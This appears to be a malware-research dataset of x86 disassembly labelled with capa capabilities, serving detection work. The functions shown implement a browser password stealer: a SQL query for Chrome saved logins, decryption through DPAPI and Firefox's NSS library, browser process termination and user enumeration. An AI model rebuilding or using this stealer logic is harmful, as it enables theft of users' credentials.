joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443d6d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x488180]
jne 0x443d77
repz ret
jmp fcn.0044b10c

Function at 0x4572ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044c06a
and dword [ebp - 4], 0
cmp dword [0x492514], 0
mov ebx, eax
jne 0x45735d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45740e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x45740e
push eax
call fcn.0044bff8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x492514], eax
call esi
push eax
call fcn.0044bff8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x492518], eax
call esi
push eax
call fcn.0044bff8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x49251c], eax
call esi
push eax
call fcn.0044bff8
pop ecx
mov dword [0x492524], eax
test eax, eax
je 0x45735d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0044bff8
pop ecx
mov dword [0x492520], eax
mov eax, dword [0x492520]
cmp eax, ebx
je 0x4573b5
cmp dword [0x492524], ebx
je 0x4573b5
push eax
call fcn.0044c073
push dword [0x492524]
mov esi, eax
call fcn.0044c073
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4573b5
test edi, edi
je 0x4573b5
call esi
test eax, eax
je 0x4573ac
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4573ac
test byte [ebp - 0xc], 1
jne 0x4573b5
or dword [ebp + 0x10], 0x200000
jmp 0x4573ee
mov eax, dword [0x492518]
cmp eax, ebx
je 0x4573ee
push eax
call fcn.0044c073
pop ecx
test eax, eax
je 0x4573ee
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4573ee
mov eax, dword [0x49251c]
cmp eax, ebx
je 0x4573ee
push eax
call fcn.0044c073
pop ecx
test eax, eax
je 0x4573ee
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x492514]
call fcn.0044c073
pop ecx
test eax, eax
je 0x45740e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x457410
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40166c
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fc0
call fcn.00465390
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, 0x1fa0
push eax
mov dword [ebp - 0x1fa8], eax
xor ebx, ebx
lea eax, [ebp - 0x1fa4]
mov esi, 0x483650
push ebx
push eax
call fcn.004653c0
mov ecx, edi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016b1
push ebx
push ebx
lea eax, [ebp - 0x1fa8]
sub ecx, edx
push eax
lea eax, [ebp - 0x1fa4]
push eax
push 1
push ecx
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x40178b
call dword [0x4b4238]
mov edi, eax
test edi, edi
je 0x401786
push ebx
push 1
push edi
call dword [0x4b4240]
add esp, 0xc
test eax, eax
jne 0x401777
lea eax, [ebp - 0x1fa4]
mov dword [ebp - 0x1fb0], ebx
mov dword [ebp - 0x1fbc], eax
mov eax, dword [ebp - 0x1fa8]
mov dword [ebp - 0x1fb8], eax
lea eax, [ebp - 0x1fb4]
push ebx
push eax
lea eax, [ebp - 0x1fc0]
mov dword [ebp - 0x1fac], ebx
push eax
call dword [0x4b4244]
add esp, 0xc
test eax, eax
jne 0x401770
mov esi, dword [ebp - 0x1fac]
lea eax, [ebp - 0x1fa4]
push esi
push dword [ebp - 0x1fb0]
push eax
call fcn.00463680
add esp, 0xc
cmp esi, 0x1fa0
jae 0x40179e
mov byte [ebp + esi - 0x1fa4], bl
lea esi, [ebp - 0x1fa4]
jmp 0x40177c
mov esi, str.Decryption_error
jmp 0x40177c
mov esi, str.Authenticate_error
push edi
call dword [0x4b423c]
pop ecx
jmp 0x40178b
mov esi, str.Internal_Slot_error
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
call fcn.00463ebe
int3

Function at 0x4017a4
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
inc esi
mov dword [ebp - 0xc], eax
push edi
push esi
mov dword [ebp - 0x10], esi
call fcn.00461d70
push esi
xor ebx, ebx
mov edi, eax
push ebx
push edi
call fcn.004653c0
add esp, 0x10
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x401807
mov eax, dword [ebp - 8]
mov ecx, ebx
test eax, eax
je 0x401800
mov eax, dword [ebp - 4]
mov al, byte [eax + ecx]
mov byte [ecx + edi], al
inc ecx
mov eax, dword [ebp - 8]
cmp ecx, eax
jb 0x4017ef
mov byte [eax + edi], bl
mov eax, edi
jmp 0x401809
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401810
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x134], eax
and dword [eax], 0
inc esi
push edi
push 4
mov dword [ebp - 0x130], esi
call fcn.004645fc
pop ecx
push 0
push 2
mov ebx, eax
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
test edi, edi
jne 0x40186c
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4018f8
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4018ef
jmp 0x4018de
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4018a8
test dl, dl
je 0x4018a4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4018a8
add eax, 2
add ecx, 2
test dl, dl
jne 0x401888
xor eax, eax
jmp 0x4018ad
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4018de
shl esi, 2
push esi
push ebx
call fcn.0046468e
mov ebx, eax
mov eax, dword [ebp - 0x124]
pop ecx
pop ecx
mov dword [esi + ebx - 4], eax
mov eax, dword [ebp - 0x134]
mov esi, dword [ebp - 0x130]
mov dword [eax], esi
inc esi
mov dword [ebp - 0x130], esi
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40187f
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x401909
Capabilities:
Get common file path

Disassembly:
push 0x30
mov eax, 0x481193
call fcn.00462fb8
call fcn.004020d1
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x401add
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0x48d36c
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x401add
push dword [ebp - 0x24]
call fcn.0040273b
mov edi, eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x30], edi
call fcn.00401b94
cmp dword [ebp - 0x14], 0
mov esi, eax
pop ecx
pop ecx
mov dword [ebp - 0x2c], esi
je 0x401ad6
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x14], ebx
jle 0x401ad3
push 0
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push dword [esi + ebx*4]
push 0x483624
push edi
call fcn.00401af3
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x34], eax
push ecx
push eax
call fcn.0040fe9e
add esp, 0x1c
test eax, eax
jne 0x401ac6
push eax
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
push str.SELECT_origin_url__username_value__password_value_FROM_logins
push dword [ebp - 0x18]
call fcn.00410fc0
add esp, 0x14
test eax, eax
jne 0x401aab
push dword [ebp - 0x10]
call fcn.00411f6f
pop ecx
cmp eax, 0x64
jne 0x401aab
push 0
push dword [ebp - 0x10]
call fcn.0040a254
push 1
push dword [ebp - 0x10]
mov edi, eax
call fcn.0040a254
push 2
push dword [ebp - 0x10]
mov ebx, eax
call fcn.00412144
push 2
push dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
call fcn.0041219f
add esp, 0x20
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x3c]
push 0x10
call fcn.0045c7e9
push 0
lea ecx, [ebp - 0x3c]
call fcn.0045c7e9
push 1
lea ecx, [ebp - 0x3c]
call fcn.0045c7e9
push edi
call fcn.004026d3
pop ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.0045c8e0
push ebx
call fcn.004026d3
pop ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.0045c8e0
push esi
push dword [ebp - 0x28]
call fcn.004017a4
pop ecx
pop ecx
test eax, eax
je 0x401a6b
push eax
call fcn.004026d3
pop ecx
push eax
jmp 0x401a70
push str._Failed_
lea ecx, [ebp - 0x3c]
call fcn.0045c8e0
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x3c]
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.0045c702
push dword [ebp - 0x10]
call fcn.00411f6f
pop ecx
cmp eax, 0x64
je 0x4019d4
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
push dword [ebp - 0x10]
call fcn.0040a6cd
push dword [ebp - 0x18]
call fcn.0040d465
push dword [ebp - 0x34]
call fcn.0046537d
add esp, 0xc
inc ebx
mov dword [ebp - 0x1c], ebx
cmp ebx, dword [ebp - 0x14]
jl 0x401976
mov ebx, dword [ebp - 0x20]
push esi
call fcn.0046537d
pop ecx
push ebx
call fcn.0046537d
push dword [ebp + 8]
call fcn.00401d44
pop ecx
pop ecx
call fcn.00462f86
ret
Function at 0x401b94
Capabilities:
List user accounts

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
and dword [edi], 0
xor ebx, ebx
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
push 2
push 0
push 0
call sub.NETAPI32.dll_NetUserEnum
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
test eax, eax
je 0x401bf4
xor ecx, ecx
mov dword [edi], eax
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00461d70
mov ebx, eax
mov eax, dword [ebp - 8]
pop ecx
test esi, esi
je 0x401c00
cmp esi, 0xea
jne 0x401c5c
mov esi, dword [ebp - 4]
test esi, esi
je 0x401c3c
xor edi, edi
test eax, eax
je 0x401c2a
test esi, esi
je 0x401c27
push dword [esi]
call fcn.0040273b
pop ecx
mov dword [ebx + edi*4], eax
push 4
pop eax
add esi, eax
inc edi
cmp edi, dword [ebp - 8]
jb 0x401c0d
mov esi, dword [ebp - 4]
test esi, esi
je 0x401c39
push esi
call sub.NETAPI32.dll_NetApiBufferFree
xor esi, esi
mov dword [ebp - 4], esi
mov edi, dword [ebp + 8]
cmp dword [ebp - 0x10], 0xea
je 0x401bb1
test esi, esi
je 0x401c53
push esi
call sub.NETAPI32.dll_NetApiBufferFree
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 4], 0
je 0x401c6a
push dword [ebp - 4]
call sub.NETAPI32.dll_NetApiBufferFree
xor eax, eax
jmp 0x401c55

Function at 0x401d6d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea eax, [ebp - 0x10c]
push edi
push eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], 0x104
push eax
xor edi, edi
mov ebx, str.SOFTWAREMozillaMozilla_Firefox
push edi
push str.CurrentVersion
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x401e51
push edi
push str.Main
lea eax, [ebp - 0x108]
push eax
push 0x483624
push ebx
call fcn.00401af3
add esp, 0x14
mov ebx, eax
mov edx, edi
mov cl, byte [ebp + edx - 0x108]
mov byte [edx + 0x4b4224], cl
inc edx
test cl, cl
jne 0x401ddd
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x104
push eax
lea eax, [ebp - 0x108]
push eax
push edi
push str.Install_Directory
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x401e51
lea esi, [ebp - 0x108]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401e22
sub esi, ecx
inc esi
push 1
push esi
call fcn.00464584
mov edi, eax
lea eax, [ebp - 0x108]
push esi
push eax
push edi
call fcn.00463680
push ebx
call fcn.0046537d
add esp, 0x18
mov eax, edi
jmp 0x401e53
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x401e64
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push str.firefox.exe
call fcn.00401810
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push str.chrome.exe
mov dword [ebp - 4], edi
call fcn.00401810
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
push str.plugin_container.exe
call fcn.00401810
mov ebx, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
xor esi, esi
add esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], esi
jle 0x401ee1
push dword [eax + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ece
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x14]
inc esi
cmp esi, dword [ebp - 8]
jl 0x401eb2
mov edi, dword [ebp - 4]
xor esi, esi
cmp dword [ebp - 0xc], esi
jle 0x401f14
push dword [edi + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f04
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [ebp - 4]
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x401ee8
xor esi, esi
cmp dword [ebp - 0x10], esi
jle 0x401f47
mov eax, dword [ebp - 0x18]
push dword [eax + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f3a
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc esi
cmp esi, dword [ebp - 0x10]
jl 0x401f1b
push dword [ebp - 0x14]
call fcn.004645c4
push dword [ebp - 4]
call fcn.004645c4
push dword [ebp - 0x18]
call fcn.004645c4
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f6b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x402098
push esi
push edi
push 0x4837ac
call fcn.00464504
xor edi, edi
pop ecx
test eax, eax
je 0x401fb7
push edi
push ebx
push 0x4837b4
push eax
call fcn.00401af3
mov esi, eax
push edi
push esi
push str.PATH
call fcn.00401af3
push eax
call fcn.00464739
push esi
call fcn.0046537d
add esp, 0x24
push edi
push str._nss3.dll
push ebx
call fcn.00401af3
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x40205f
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.NSS_Init
push ebx
call esi
push str.NSS_Shutdown
push ebx
mov dword [0x4b4248], eax
call esi
push str.PK11_GetInternalKeySlot
push ebx
mov dword [0x4b424c], eax
call esi
push str.PK11_FreeSlot
push ebx
mov dword [0x4b4238], eax
call esi
push str.PK11_Authenticate
push ebx
mov dword [0x4b423c], eax
call esi
push str.PK11SDR_Decrypt
push ebx
mov dword [0x4b4240], eax
call esi
push str.sqlite3_open
push ebx
mov dword [0x4b4244], eax
call esi
push str.sqlite3_prepare_v2
push ebx
mov dword [0x4b4250], eax
call esi
push str.sqlite3_step
push ebx
mov dword [0x4b4254], eax
call esi
push str.sqlite3_column_text
push ebx
mov dword [0x4b4258], eax
call esi
mov dword [0x4b425c], eax
cmp dword [0x4b4248], edi
je 0x402092
cmp dword [0x4b424c], edi
je 0x402092
cmp dword [0x4b4238], edi
je 0x402092
cmp dword [0x4b4240], edi
je 0x402092
cmp dword [0x4b4244], edi
je 0x402092
cmp dword [0x4b423c], edi
je 0x402092
xor edi, edi
inc edi
mov eax, edi
pop edi
pop esi
jmp 0x40209a
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x4020d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x10c]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x10c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402115
xor eax, eax
jmp 0x40219b
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push ebx
push eax
call fcn.004653c0
add esp, 0xc
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push str.Path
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402170
sub ecx, edx
push esi
lea eax, [ecx + 1]
push eax
call fcn.00461d70
pop ecx
lea edx, [ebp - 0x108]
mov esi, eax
mov ecx, edx
sub esi, ecx
mov cl, byte [edx]
mov byte [esi + edx], cl
inc edx
test cl, cl
jne 0x402190
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x402cf3
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push 0x410
mov eax, 0x481228
call fcn.00462feb
mov edi, dword [ebp + 8]
push 0x18
call fcn.0046273d
pop ecx
push 7
xor esi, esi
pop ebx
test eax, eax
je 0x402d23
xor ecx, ecx
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], esi
mov word [eax], cx
jmp 0x402d25
mov eax, esi
cmp dword [0x4b4278], 0
mov dword [0x4b428c], eax
je 0x402d50
push esi
push esi
push 2
push dword [0x4b4274]
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
push dword [0x4b4278]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
lea eax, [ebp - 0x41c]
push eax
push 4
push esi
push 0x402e92
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [ebp - 0x41c], 0
mov dword [0x4b4278], eax
jbe 0x402e8c
push str.MS_Shell_Dlg
push esi
push esi
push esi
push 4
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xc
call dword [sym.imp.GDI32.dll_CreateFontW]
push 0x18
mov dword [0x4b4298], eax
mov dword [0x4b4290], edi
call fcn.0046273d
pop ecx
test eax, eax
je 0x402db7
xor ecx, ecx
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], esi
mov word [eax], cx
jmp 0x402db9
mov eax, esi
mov dword [0x4b4294], eax
mov edi, 0xff
lea eax, [ebp - 0x410]
push edi
push eax
call fcn.0045e75a
lea eax, [ebp - 0x210]
push edi
push eax
call fcn.0045e725
lea eax, [ebp - 0x410]
push eax
call fcn.00403068
mov ecx, dword [0x4b4294]
add esp, 0x14
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.00402c50
mov edi, 0x4839e4
push edi
call fcn.00403068
pop ecx
mov ecx, dword [0x4b4294]
push eax
push edi
call fcn.00402c50
lea eax, [ebp - 0x210]
push eax
call fcn.00403068
pop ecx
mov ecx, dword [0x4b4294]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00402c50
lea ecx, [ebp - 0x418]
call fcn.0045c6ec
push 3
lea ecx, [ebp - 0x418]
mov dword [ebp - 4], esi
call fcn.0045c7e9
push esi
lea ecx, [ebp - 0x418]
call fcn.0045c7e9
mov ecx, dword [0x4b4290]
lea eax, [ebp - 0x418]
push eax
call fcn.00403510
push dword [0x4b4278]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x418]
call fcn.0045c702
call fcn.00462f9a
ret
Function at 0x403173
Capabilities:
Get graphical window text

Disassembly:
push 0x20c
mov eax, 0x48125b
call fcn.00462feb
push dword [0x4b4280]
mov esi, dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
je 0x403262
mov edi, 0xff
lea eax, [ebp - 0x210]
push edi
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x210]
push edi
push eax
push dword [0x4b4280]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x483a04
push dword [0x4b4280]
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [0x4b4294]
cmp dword [eax + 0x14], 8
jb 0x4031e2
mov eax, dword [eax]
lea ecx, [ebp - 0x210]
push ecx
push eax
call fcn.00403268
pop ecx
pop ecx
lea ecx, [ebp - 0x218]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x218]
push 3
call fcn.0045c7e9
push 1
lea ecx, [ebp - 0x218]
call fcn.0045c7e9
mov eax, dword [0x4b4294]
cmp dword [eax + 0x14], 8
jb 0x403227
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x218]
call fcn.0045c8e0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x218]
call fcn.0045c8e0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.0045c702
call fcn.00462f9a
ret

Function at 0x403313
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x481b7b
call fcn.00462fb8
mov edi, ecx
push 0x14
mov dword [edi], vtable.Client.0
call fcn.0046273d
pop ecx
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x403348
push 6
push 1
mov ecx, eax
call fcn.00403b83
jmp 0x40334a
mov eax, ebx
mov esi, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
push esi
mov dword [edi + 4], eax
call fcn.00461d70
pop ecx
push ebx
mov dword [edi + 8], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [edi + 0x1c], eax
mov eax, dword [ebp + 0x10]
push 1
mov dword [edi + 0x24], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [edi + 0x10], esi
mov byte [edi + 0x20], bl
mov dword [edi + 0x28], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x34]
push eax
push ebx
push edi
push 0x403731
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [edi + 0x30], eax
lea eax, [edi + 0x38]
push eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov eax, edi
call fcn.00462f86
ret 0x10

Function at 0x4033ae
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
mov dword [esi], vtable.Client.0
call fcn.00403b9c
push dword [esi + 8]
call fcn.0040e9f1
xor eax, eax
pop ecx
push eax
push dword [esi + 0x30]
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esi + 0x38]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
pop esi
ret

Function at 0x40347a
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push ecx
push 0x403598
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
ret
Function at 0x40395f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
mov dword [ebp - 0x230], 0x22c
push esi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x403993
xor eax, eax
jmp 0x4039f5
lea eax, [ebp - 0x230]
push eax
push edi
call sub.KERNEL32.DLL_Process32FirstW
test eax, eax
je 0x4039ec
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebp - 0x228], ebx
je 0x4039c3
lea eax, [ebp - 0x230]
push eax
push edi
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x4039a8
jmp 0x4039eb
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.004654ff
pop ecx
pop ecx
test eax, eax
jne 0x4039df
lea eax, [ebp - 0x20c]
jmp 0x4039e2
add eax, 2
push eax
call fcn.00465450
pop ecx
mov esi, eax
pop ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret